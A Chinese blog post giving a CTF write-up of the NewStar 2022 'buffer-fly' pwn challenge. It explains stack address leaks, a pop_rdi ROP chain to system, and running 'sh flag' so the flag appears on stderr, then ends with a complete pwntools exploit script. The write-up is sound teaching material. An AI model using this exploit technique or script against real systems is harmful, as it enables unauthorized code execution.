2022NewStar新生赛week2—buffer-fly

先看看保护机制

打开64位ida看看

一个很完美的栈溢出
接下来看看左边有啥函数可以用的

没有后门函数,但是有system函数,再去找找/bin/sh

看了一下,啊没有
那么我们得自己输入了,发现有地址随机化,那么我们看看能不能泄露地址,你看前面有两组read和printf,根据字符串输出的性质——一直遇到'\x00'才停下来,那么这也就意味着我们可以栈上的内容泄露出来,那么我们就去gdb上看看栈上有没有什么地址可以用的,注意了要用20.的虚拟机,因为不同虚拟机的栈上内容不一样,题目说了环境是20的,我用的是20.04的gdb看看

因为我们前两组read和printf的read只能读入0x20大小,也就是说我们泄露顶多泄露出rsp到rbp这五个0x8的数据,看看红色的是0x5555一片,这个一看就是程序的地址,泄露这个出来我们可以得到程序的基地址,然后黄色的0x7ffff一片,我们一看就是栈地址,泄露出来栈地址就知道了,那么我们就可以把/bin/sh放到栈上去,那么我就是先泄露ddd0这个地方的程序基地址,然后泄露dde0这个地方的栈地址,然后用pop_rdi构造参数,然后把/bin/sh放到栈上,这样子就拿到shell了,但是拿不到flag

他把0(标准输入)、1(标准输出)全关了,我们没法和shell交互,怎么办
2(标准错误)没关啊,那么我们把参数改成sh flag,sh命令应该是执行以sh为后缀的程序,但是如果执行flag这种文本文件的话,那么就会报错,然后会把文本里的东西也一起报错出来,这样子不就把flag从2输出出来了

from pwn import*
from time import*
context.update( os = 'linux', arch = 'amd64',timeout = 1)
p=remote('node4.buuoj.cn',26021)
#p=process('./buffer')
#gdb.attach(p,'')
p.recvuntil('name: ')
payload=b'a'*(0x18-1)+b'b'
p.sendline(payload)
p.recvuntil('b')
base=u64(p.recv(6).ljust(8,b'\x00'))-0x120a
print(hex(base))
pop_rdi=0x1423+base
print(hex(pop_rdi))
ret=0x101a+base
system=0x129d+base
print(hex(system))
p.recvuntil('age: ')
payload=b'a'*(0x20-1)+b'b'
p.send(payload)
p.recvuntil('b')
rbp=u64(p.recv(6).ljust(8,b'\x00'))-0x10
print(hex(rbp))
p.recvuntil('number: ')
payload=b'sh flag\x00'.ljust( 0x28 , b'a')+p64(pop_rdi)+p64(rbp-0x20)+p64(system)
p.send(payload)
p.interactive()
posted @ 2022-10-04 12:05  予柒  阅读(160)  评论(0)    收藏  举报
返回顶端
Live2D /*修改地一:waifu.css*/
/*修改地二:waifu.css*/
/*修改地三:live2d.js*/ /*修改地四:waifu-tips.js*/